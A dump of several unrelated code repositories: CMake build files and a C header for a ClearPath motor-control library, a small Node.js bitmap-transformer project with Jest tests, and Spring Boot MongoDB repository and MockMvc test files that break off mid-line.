CMakeFiles/LibMotors.dir/src/sFoundation/src/converterLib.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/converterLib.cpp.o .PHONY : src/sFoundation/src/converterLib.cpp.o src/sFoundation/src/converterLib.i: src/sFoundation/src/converterLib.cpp.i .PHONY : src/sFoundation/src/converterLib.i # target to preprocess a source file src/sFoundation/src/converterLib.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/converterLib.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/converterLib.cpp.i .PHONY : src/sFoundation/src/converterLib.cpp.i src/sFoundation/src/converterLib.s: src/sFoundation/src/converterLib.cpp.s .PHONY : src/sFoundation/src/converterLib.s # target to generate assembly for a file src/sFoundation/src/converterLib.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/converterLib.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/converterLib.cpp.s .PHONY : src/sFoundation/src/converterLib.cpp.s src/sFoundation/src/cpmAPI.o: src/sFoundation/src/cpmAPI.cpp.o .PHONY : src/sFoundation/src/cpmAPI.o # target to build an object file src/sFoundation/src/cpmAPI.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmAPI.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmAPI.cpp.o .PHONY : src/sFoundation/src/cpmAPI.cpp.o src/sFoundation/src/cpmAPI.i: src/sFoundation/src/cpmAPI.cpp.i .PHONY : src/sFoundation/src/cpmAPI.i # target to preprocess a source file src/sFoundation/src/cpmAPI.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmAPI.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmAPI.cpp.i .PHONY : src/sFoundation/src/cpmAPI.cpp.i src/sFoundation/src/cpmAPI.s: src/sFoundation/src/cpmAPI.cpp.s .PHONY : src/sFoundation/src/cpmAPI.s # target to generate assembly for a file src/sFoundation/src/cpmAPI.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmAPI.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmAPI.cpp.s .PHONY : src/sFoundation/src/cpmAPI.cpp.s src/sFoundation/src/cpmClassImpl.o: src/sFoundation/src/cpmClassImpl.cpp.o .PHONY : src/sFoundation/src/cpmClassImpl.o # target to build an object file src/sFoundation/src/cpmClassImpl.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmClassImpl.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmClassImpl.cpp.o .PHONY : src/sFoundation/src/cpmClassImpl.cpp.o src/sFoundation/src/cpmClassImpl.i: src/sFoundation/src/cpmClassImpl.cpp.i .PHONY : src/sFoundation/src/cpmClassImpl.i # target to preprocess a source file src/sFoundation/src/cpmClassImpl.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmClassImpl.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmClassImpl.cpp.i .PHONY : src/sFoundation/src/cpmClassImpl.cpp.i src/sFoundation/src/cpmClassImpl.s: src/sFoundation/src/cpmClassImpl.cpp.s .PHONY : src/sFoundation/src/cpmClassImpl.s # target to generate assembly for a file src/sFoundation/src/cpmClassImpl.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmClassImpl.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/cpmClassImpl.cpp.s .PHONY : src/sFoundation/src/cpmClassImpl.cpp.s src/sFoundation/src/iscAPI.o: src/sFoundation/src/iscAPI.cpp.o .PHONY : src/sFoundation/src/iscAPI.o # target to build an object file src/sFoundation/src/iscAPI.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/iscAPI.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/iscAPI.cpp.o .PHONY : src/sFoundation/src/iscAPI.cpp.o src/sFoundation/src/iscAPI.i: src/sFoundation/src/iscAPI.cpp.i .PHONY : src/sFoundation/src/iscAPI.i # target to preprocess a source file src/sFoundation/src/iscAPI.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/iscAPI.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/iscAPI.cpp.i .PHONY : src/sFoundation/src/iscAPI.cpp.i src/sFoundation/src/iscAPI.s: src/sFoundation/src/iscAPI.cpp.s .PHONY : src/sFoundation/src/iscAPI.s # target to generate assembly for a file src/sFoundation/src/iscAPI.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/iscAPI.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/iscAPI.cpp.s .PHONY : src/sFoundation/src/iscAPI.cpp.s src/sFoundation/src/lnkAccessCommon.o: src/sFoundation/src/lnkAccessCommon.cpp.o .PHONY : src/sFoundation/src/lnkAccessCommon.o # target to build an object file src/sFoundation/src/lnkAccessCommon.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/lnkAccessCommon.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/lnkAccessCommon.cpp.o .PHONY : src/sFoundation/src/lnkAccessCommon.cpp.o src/sFoundation/src/lnkAccessCommon.i: src/sFoundation/src/lnkAccessCommon.cpp.i .PHONY : src/sFoundation/src/lnkAccessCommon.i # target to preprocess a source file src/sFoundation/src/lnkAccessCommon.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/lnkAccessCommon.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/lnkAccessCommon.cpp.i .PHONY : src/sFoundation/src/lnkAccessCommon.cpp.i src/sFoundation/src/lnkAccessCommon.s: src/sFoundation/src/lnkAccessCommon.cpp.s .PHONY : src/sFoundation/src/lnkAccessCommon.s # target to generate assembly for a file src/sFoundation/src/lnkAccessCommon.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/lnkAccessCommon.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/lnkAccessCommon.cpp.s .PHONY : src/sFoundation/src/lnkAccessCommon.cpp.s src/sFoundation/src/meridianNet.o: src/sFoundation/src/meridianNet.cpp.o .PHONY : src/sFoundation/src/meridianNet.o # target to build an object file src/sFoundation/src/meridianNet.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/meridianNet.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/meridianNet.cpp.o .PHONY : src/sFoundation/src/meridianNet.cpp.o src/sFoundation/src/meridianNet.i: src/sFoundation/src/meridianNet.cpp.i .PHONY : src/sFoundation/src/meridianNet.i # target to preprocess a source file src/sFoundation/src/meridianNet.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/meridianNet.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/meridianNet.cpp.i .PHONY : src/sFoundation/src/meridianNet.cpp.i src/sFoundation/src/meridianNet.s: src/sFoundation/src/meridianNet.cpp.s .PHONY : src/sFoundation/src/meridianNet.s # target to generate assembly for a file src/sFoundation/src/meridianNet.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/meridianNet.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/meridianNet.cpp.s .PHONY : src/sFoundation/src/meridianNet.cpp.s src/sFoundation/src/netCmdAPI.o: src/sFoundation/src/netCmdAPI.cpp.o .PHONY : src/sFoundation/src/netCmdAPI.o # target to build an object file src/sFoundation/src/netCmdAPI.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/netCmdAPI.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/netCmdAPI.cpp.o .PHONY : src/sFoundation/src/netCmdAPI.cpp.o src/sFoundation/src/netCmdAPI.i: src/sFoundation/src/netCmdAPI.cpp.i .PHONY : src/sFoundation/src/netCmdAPI.i # target to preprocess a source file src/sFoundation/src/netCmdAPI.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/netCmdAPI.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/netCmdAPI.cpp.i .PHONY : src/sFoundation/src/netCmdAPI.cpp.i src/sFoundation/src/netCmdAPI.s: src/sFoundation/src/netCmdAPI.cpp.s .PHONY : src/sFoundation/src/netCmdAPI.s # target to generate assembly for a file src/sFoundation/src/netCmdAPI.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/netCmdAPI.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/netCmdAPI.cpp.s .PHONY : src/sFoundation/src/netCmdAPI.cpp.s src/sFoundation/src/netCoreFmt.o: src/sFoundation/src/netCoreFmt.cpp.o .PHONY : src/sFoundation/src/netCoreFmt.o # target to build an object file src/sFoundation/src/netCoreFmt.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/netCoreFmt.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/netCoreFmt.cpp.o .PHONY : src/sFoundation/src/netCoreFmt.cpp.o src/sFoundation/src/netCoreFmt.i: src/sFoundation/src/netCoreFmt.cpp.i .PHONY : src/sFoundation/src/netCoreFmt.i # target to preprocess a source file src/sFoundation/src/netCoreFmt.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/netCoreFmt.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/netCoreFmt.cpp.i .PHONY : src/sFoundation/src/netCoreFmt.cpp.i src/sFoundation/src/netCoreFmt.s: src/sFoundation/src/netCoreFmt.cpp.s .PHONY : src/sFoundation/src/netCoreFmt.s # target to generate assembly for a file src/sFoundation/src/netCoreFmt.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/netCoreFmt.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/netCoreFmt.cpp.s .PHONY : src/sFoundation/src/netCoreFmt.cpp.s src/sFoundation/src/sysClassImpl.o: src/sFoundation/src/sysClassImpl.cpp.o .PHONY : src/sFoundation/src/sysClassImpl.o # target to build an object file src/sFoundation/src/sysClassImpl.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/sysClassImpl.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/sysClassImpl.cpp.o .PHONY : src/sFoundation/src/sysClassImpl.cpp.o src/sFoundation/src/sysClassImpl.i: src/sFoundation/src/sysClassImpl.cpp.i .PHONY : src/sFoundation/src/sysClassImpl.i # target to preprocess a source file src/sFoundation/src/sysClassImpl.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/sysClassImpl.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/sysClassImpl.cpp.i .PHONY : src/sFoundation/src/sysClassImpl.cpp.i src/sFoundation/src/sysClassImpl.s: src/sFoundation/src/sysClassImpl.cpp.s .PHONY : src/sFoundation/src/sysClassImpl.s # target to generate assembly for a file src/sFoundation/src/sysClassImpl.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/sysClassImpl.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/sysClassImpl.cpp.s .PHONY : src/sFoundation/src/sysClassImpl.cpp.s # Help Target help: @echo "The following are some of the valid targets for this Makefile:" @echo "... all (the default if no target is provided)" @echo "... clean" @echo "... depend" @echo "... rebuild_cache" @echo "... LibMotors" @echo "... Homing_Test" @echo "... edit_cache" @echo "... Motor_Test" @echo "... LibINI" @echo "... LibLinuxOS" @echo "... LibXML" @echo "... sFoundation" @echo "... src/LibINI/src/dictionary.o" @echo "... src/LibINI/src/dictionary.i" @echo "... src/LibINI/src/dictionary.s" @echo "... src/LibINI/src/iniparser.o" @echo "... src/LibINI/src/iniparser.i" @echo "... src/LibINI/src/iniparser.s" @echo "... src/LibLinuxOS/src/tekEventsLinux.o" @echo "... src/LibLinuxOS/src/tekEventsLinux.i" @echo "... src/LibLinuxOS/src/tekEventsLinux.s" @echo "... src/LibLinuxOS/src/tekThreadsLinux.o" @echo "... src/LibLinuxOS/src/tekThreadsLinux.i" @echo "... src/LibLinuxOS/src/tekThreadsLinux.s" @echo "... src/LibLinuxOS/src/version.o" @echo "... src/LibLinuxOS/src/version.i" @echo "... src/LibLinuxOS/src/version.s" @echo "... src/LibMotors/src/clearPathMotors.o" @echo "... src/LibMotors/src/clearPathMotors.i" @echo "... src/LibMotors/src/clearPathMotors.s" @echo "... src/LibMotors/src/motors.o" @echo "... src/LibMotors/src/motors.i" @echo "... src/LibMotors/src/motors.s" @echo "... src/LibXML/src/ErrCodeStr.o" @echo "... src/LibXML/src/ErrCodeStr.i" @echo "... src/LibXML/src/ErrCodeStr.s" @echo "... src/LibXML/src/pugixml.o" @echo "... src/LibXML/src/pugixml.i" @echo "... src/LibXML/src/pugixml.s" @echo "... src/motor_control/homing_test.o" @echo "... src/motor_control/homing_test.i" @echo "... src/motor_control/homing_test.s" @echo "... src/motor_control/motor_test.o" @echo "... src/motor_control/motor_test.i" @echo "... src/motor_control/motor_test.s" @echo "... src/sFoundation/src-linux/SerialLinux.o" @echo "... src/sFoundation/src-linux/SerialLinux.i" @echo "... src/sFoundation/src-linux/SerialLinux.s" @echo "... src/sFoundation/src-linux/lnkAccessLinux.o" @echo "... src/sFoundation/src-linux/lnkAccessLinux.i" @echo "... src/sFoundation/src-linux/lnkAccessLinux.s" @echo "... src/sFoundation/src/SerialEx.o" @echo "... src/sFoundation/src/SerialEx.i" @echo "... src/sFoundation/src/SerialEx.s" @echo "... src/sFoundation/src/converterLib.o" @echo "... src/sFoundation/src/converterLib.i" @echo "... src/sFoundation/src/converterLib.s" @echo "... src/sFoundation/src/cpmAPI.o" @echo "... src/sFoundation/src/cpmAPI.i" @echo "... src/sFoundation/src/cpmAPI.s" @echo "... src/sFoundation/src/cpmClassImpl.o" @echo "... src/sFoundation/src/cpmClassImpl.i" @echo "... src/sFoundation/src/cpmClassImpl.s" @echo "... src/sFoundation/src/iscAPI.o" @echo "... src/sFoundation/src/iscAPI.i" @echo "... src/sFoundation/src/iscAPI.s" @echo "... src/sFoundation/src/lnkAccessCommon.o" @echo "... src/sFoundation/src/lnkAccessCommon.i" @echo "... src/sFoundation/src/lnkAccessCommon.s" @echo "... src/sFoundation/src/meridianNet.o" @echo "... src/sFoundation/src/meridianNet.i" @echo "... src/sFoundation/src/meridianNet.s" @echo "... src/sFoundation/src/netCmdAPI.o" @echo "... src/sFoundation/src/netCmdAPI.i" @echo "... src/sFoundation/src/netCmdAPI.s" @echo "... src/sFoundation/src/netCoreFmt.o" @echo "... src/sFoundation/src/netCoreFmt.i" @echo "... src/sFoundation/src/netCoreFmt.s" @echo "... src/sFoundation/src/sysClassImpl.o" @echo "... src/sFoundation/src/sysClassImpl.i" @echo "... src/sFoundation/src/sysClassImpl.s" .PHONY : help #============================================================================= # Special targets to cleanup operation of make. # Special rule to run CMake to check the build system integrity. # No rule that depends on this can have commands that come from listfiles # because they might be regenerated. cmake_check_build_system: $(CMAKE_COMMAND) -S$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0 .PHONY : cmake_check_build_system <file_sep>/CMakeFiles/LibXML.dir/cmake_clean_target.cmake file(REMOVE_RECURSE "libLibXML.a" ) <file_sep>/CMakeFiles/LibMotors.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/LibMotors.dir/src/LibINI/src/dictionary.cpp.o" "CMakeFiles/LibMotors.dir/src/LibINI/src/iniparser.cpp.o" "CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.o" "CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.o" "CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/version.cpp.o" "CMakeFiles/LibMotors.dir/src/LibMotors/src/clearPathMotors.cpp.o" "CMakeFiles/LibMotors.dir/src/LibMotors/src/motors.cpp.o" "CMakeFiles/LibMotors.dir/src/LibXML/src/ErrCodeStr.cpp.o" "CMakeFiles/LibMotors.dir/src/LibXML/src/pugixml.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/SerialLinux.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/SerialEx.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/converterLib.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmAPI.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/cpmClassImpl.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/iscAPI.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/lnkAccessCommon.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/meridianNet.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/netCmdAPI.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/netCoreFmt.cpp.o" "CMakeFiles/LibMotors.dir/src/sFoundation/src/sysClassImpl.cpp.o" "libLibMotors.a" "libLibMotors.pdb" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/LibMotors.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/include/LibMotors/inc/motors.h typedef void CMotors; #ifdef __cplusplus extern "C" { #endif void Initialize(); int NodeCount(); void HomeNodes(); void StartMovePosNode(int indexNode, int numSteps, int targetIsAbsolute); void StartMoveVelNode(int indexNode, int velocity); int IsMoveDoneNode(int indexNode); int ReadPosNode(int indexNode); int ReadPosCommandedNode(int indexNode); int ReadVelNode(int indexNode); void SetAccelNode(int indexNode, int accel); void SetVelNode(int indexNode, int vel); void StopNodeHard(int indexNode); void StopNodeDecel(int indexNode); void StopNodeClear(int indexNode); #ifdef __cplusplus } #endif <file_sep>/CMakeFiles/LibXML.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/LibXML.dir/src/LibXML/src/ErrCodeStr.cpp.o" "CMakeFiles/LibXML.dir/src/LibXML/src/pugixml.cpp.o" "libLibXML.a" "libLibXML.pdb" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/LibXML.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeFiles/Example-Homing.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/Example-Homing.dir/src/SDK_Examples/Example-Homing/Example-Homing.cpp.o" "Example-Homing.pdb" "Example-Homing" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/Example-Homing.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/CMakeFiles/LibLinuxOS.dir/cmake_clean_target.cmake file(REMOVE_RECURSE "libLibLinuxOS.a" ) <file_sep>/CMakeFiles/LibINI.dir/cmake_clean_target.cmake file(REMOVE_RECURSE "libLibINI.a" ) <file_sep>/CMakeFiles/Example-SingleThreaded.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/Example-SingleThreaded.dir/src/SDK_Examples/Example-SingleThreaded/Example-SingleThreaded.cpp.o" "CMakeFiles/Example-SingleThreaded.dir/src/SDK_Examples/Example-SingleThreaded/Axis.cpp.o" "Example-SingleThreaded.pdb" "Example-SingleThreaded" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/Example-SingleThreaded.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach()
667e0e0043a19dd8d940d8eccdb15b94c7813a35
[ "CMake", "Markdown", "Makefile", "C", "C++" ]
27
CMake
vigno88/ClearPathMotor-rpi
4f70a059dc3d6da31de4cb13ec4ea7684a2c5014
4db97026439ca1853e6a24c2a4931e98c9f1648d
refs/heads/master
<file_sep># _Bitmap Transformer_ #### _Transforms BMP files using custom filters, October 1, 2018_ #### By _**<NAME>, <NAME>**_ ## Description _This application was developed for our Advanced JavaScript course through Alchemy Code Lab. It takes a BMP file, reads the file based on information supplied in the header, and then transforms it based on custom filters._ ## Setup/Installation Requirements * Download/Clone repository. * Run "npm i" command to install all needed dependencies. ## Support and contact details _Please feel free to reach out to Mike at <EMAIL> or David at <EMAIL>_ ## Technologies Used _Node.JS with unit testing done with Jest_ ### License *MIT* Copyright (c) 2018 **<NAME>, <NAME>** <file_sep>const constants = require('./bitmap-constants'); module.exports = class BitmapHeader { constructor(buffer) { this.pixelOffset = buffer.readInt32LE(constants.PIXEL_OFFSET); this.bitsPerPixel = buffer.readInt16LE(constants.BITS_PER_PIXEL_OFFSET); this.fileSize = buffer.readInt32LE(constants.FILE_SIZE_OFFSET); } }; <file_sep>const luminosity = (obj) => { obj.r = 0.21 * obj.r; obj.g = 0.72 * obj.g; obj.b = (0.07 * obj.b).toFixed(2); return obj; }; module.exports = luminosity; <file_sep>const assert = require('assert'); const PixelReader = require('../lib/pixel-reader'); describe('Pixel Reader', () => { it('reads pixel from buffer', done => { const reader = new PixelReader({ bitsPerPixel: 24 }); const colors = []; reader.on('color', color => { colors.push(color); }); reader.on('end', () => { assert.deepEqual(colors, [{ offset: 0, b: 128, g: 128, r: 0 }, { offset: 3, b: 255, g: 0, r: 255 }, { offset: 6, b: 0, g: 255, r: 127 } ]); }); done(); const buffer = Buffer.alloc(3 * 3); // for three pixels //this color is teal// buffer.writeUInt8(0x80, 0); buffer.writeUInt8(0x80, 1); buffer.writeUInt8(0x00, 2); //this color is magenta// buffer.writeUInt8(0xFF, 3); buffer.writeUInt8(0x00, 4); buffer.writeUInt8(0xFF, 5); //this color is chartreuse// buffer.writeUInt8(0x00, 6); buffer.writeUInt8(0xFF, 7); buffer.writeUInt8(0x7F, 8); reader.read(buffer); }); });
cac76130e4b45ed9ec80fb4e5a52e4a08f79d719
[ "Markdown", "JavaScript" ]
4
Markdown
MikeBLambert/bitmap-transformer
45e7dfde4c29db8fa5d251468942ade8c1a22f14
b0d076581e464c8728ff796f4f69c70062b7ae70
refs/heads/master
<repo_name>Linkeriyo/Tkinter<file_sep>/gui.py import pickle import tkinter from tkinter import ttk, messagebox class Contact: def __init__(self, tlf, surname, nombre): self.tlf = tlf self.surname = surname self.name = nombre if __name__ == '__main__': contactList = [] window = tkinter.Tk() window.geometry("625x300") window.title("Contactos") lbNombre = tkinter.Label(window, text="Nombre") lbNombre.grid(row=1, column=0) nameField = tkinter.Entry(window) nameField.grid(row=1, column=1) lbTelefono = tkinter.Label(window, text="Telefono") lbTelefono.grid(row=2, column=0) tlfField = tkinter.Entry(window) tlfField.grid(row=2, column=1) lbApellido1 = tkinter.Label(window, text="Apellidos") lbApellido1.grid(row=1, column=2) surnameField = tkinter.Entry(window) surnameField.grid(row=1, column=3) table = ttk.Treeview() table.grid(row=0, column=0, columnspan=4, ipadx=100) table["columns"] = ("1", "2", "3") table.column("#0", width=0) table.column("1", width=100, minwidth=100) table.column("2", width=100, minwidth=100) table.column("3", width=100, minwidth=100) table.heading("1", text="Telefono") table.heading("2", text="Apellidos") table.heading("3", text="Nombre") fichero1 = open("ContactsData", "ab+") fichero1.seek(0) try: contactList = pickle.load(fichero1) except: print("El fichero esta vacio") finally: fichero1.close() for i in range(0, len(contactList)): a: Contact = contactList[i] table.insert("", i, i, text="", values=(a.tlf, a.surname, a.name)) def add(): surname = surnameField.get() name = nameField.get() telephone = tlfField.get() a: Contact = Contact(telephone, surname, name) aux: Contact = Contact("null", "null", "null") if name != "" and telephone != "" and surname != "": for i in range(0, len(contactList)): if contactList[i].tlf == telephone: aux: Contact = contactList[i] if aux.tlf != telephone or len(contactList) == 0: for i in table.get_children(): table.delete(i) contactList.append(a) for i in range(0, len(contactList)): a: Contact = contactList[i] table.insert("", i, i, text="", values=(a.tlf, a.surname, a.name)) else: messagebox.showinfo(title="Error", message="Ya existe ese telefono para un contacto") else: messagebox.showinfo(title="Error", message="Has dejado en blanco alguno de los datos") addButton = tkinter.Button(window, text="Añadir", command=add) addButton.grid(row=3, column=0) def modify(): surname = surnameField.get() name = nameField.get() telephone = tlfField.get() aux: Contact = Contact("null", "null", "null") if name != "" and telephone != "" and surname != "": for i in range(0, len(contactList)): if contactList[i].tlf == telephone: contactList[i].surname = surname contactList[i].name = name contactList[i].tlf = telephone aux: Contact = contactList[i] if aux.tlf == telephone: for i in table.get_children(): table.delete(i) for i in range(0, len(contactList)): a: Contact = contactList[i] table.insert("", i, i, text="", values=(a.tlf, a.surname, a.name)) else: messagebox.showinfo(title="Error", message="No se encontro el contacto con ese telefono") else: messagebox.showinfo(title="Error", message="Has dejado en blanco alguno de los datos") btModificar = tkinter.Button(window, text="Modificar", command=modify) btModificar.grid(row=3, column=1) def remove(): try: item = table.selection()[0] telephone = table.item(item, option="values")[0] for i in range(len(contactList) - 1, -1, -1): a: Contact = contactList[i] if a.tlf == telephone: contactList.remove(a) table.delete(item) except: messagebox.showinfo("Info", "No has seleccionado ningún contacto") btBorrar = tkinter.Button(window, text="Eliminar", command=remove) btBorrar.grid(row=3, column=2) def on_closing(): file = open("ContactsData", "wb") pickle.dump(contactList, file) file.close() window.destroy() window.protocol("WM_DELETE_WINDOW", on_closing) window.mainloop()
2d4484bbddde87adfd52dfabed0b636fb9bf9bb6
[ "Python" ]
1
Python
Linkeriyo/Tkinter
ae3f0123aef35b8b6470379345e23231cd673fc1
e9adb3a4ebddd73f0bbc4477934aeb41a4de07e7
refs/heads/master
<file_sep>package com.petercoulton.spring.putbehaviour; import org.bson.types.*; import org.springframework.data.repository.*; public interface BlobRepository extends CrudRepository<Blob, ObjectId> { } <file_sep>package com.petercoulton.spring.putbehaviour; import org.hamcrest.core.*; import org.junit.*; import org.junit.runner.*; import org.slf4j.*; import org.springframework.beans.factory.annotation.*; import org.springframework.boot.test.context.*; import org.springframework.http.*; import org.springframework.test.context.junit4.*; import org.springframework.test.context.web.*; import org.springframework.test.web.servlet.*; import org.springframework.test.web.servlet.setup.*; import org.springframework.web.context.*; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.*; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; @SpringBootTest @WebAppConfiguration @RunWith(SpringRunner.class) public class PutBehaviourTest { private static final Logger log = LoggerFactory.getLogger(PutBehaviourTest.class); @Autowired WebApplicationContext context; MockMvc mvc; @Before public void setup() { mvc = MockMvcBuilders.webAppContextSetup(context).build(); } @Test public void createBlob() throws Exception { final MvcResult createResult = mvc.perform(post("/blobs") .contentType(MediaType.APPLICATION_JSON_UTF8) .content("{\"name\": \"bob\"}")) .andExpect(status().isCreated()) .andDo(print()) .andReturn(); final String newBlobLocation = createResult.getResponse().getHeader("Location"); mvc.perform(get(newBlobLocation)) .andDo(print()) .andExpect(status().isOk()) .andExpect(jsonPath("$.name", Is.is("bob"))) .andReturn(); } @Test public void updateBlobWithPut() throws Exception { final MvcResult createResult = mvc.perform(post("/blobs") .contentType(MediaType.APPLICATION_JSON_UTF8) .content("{\"name\": 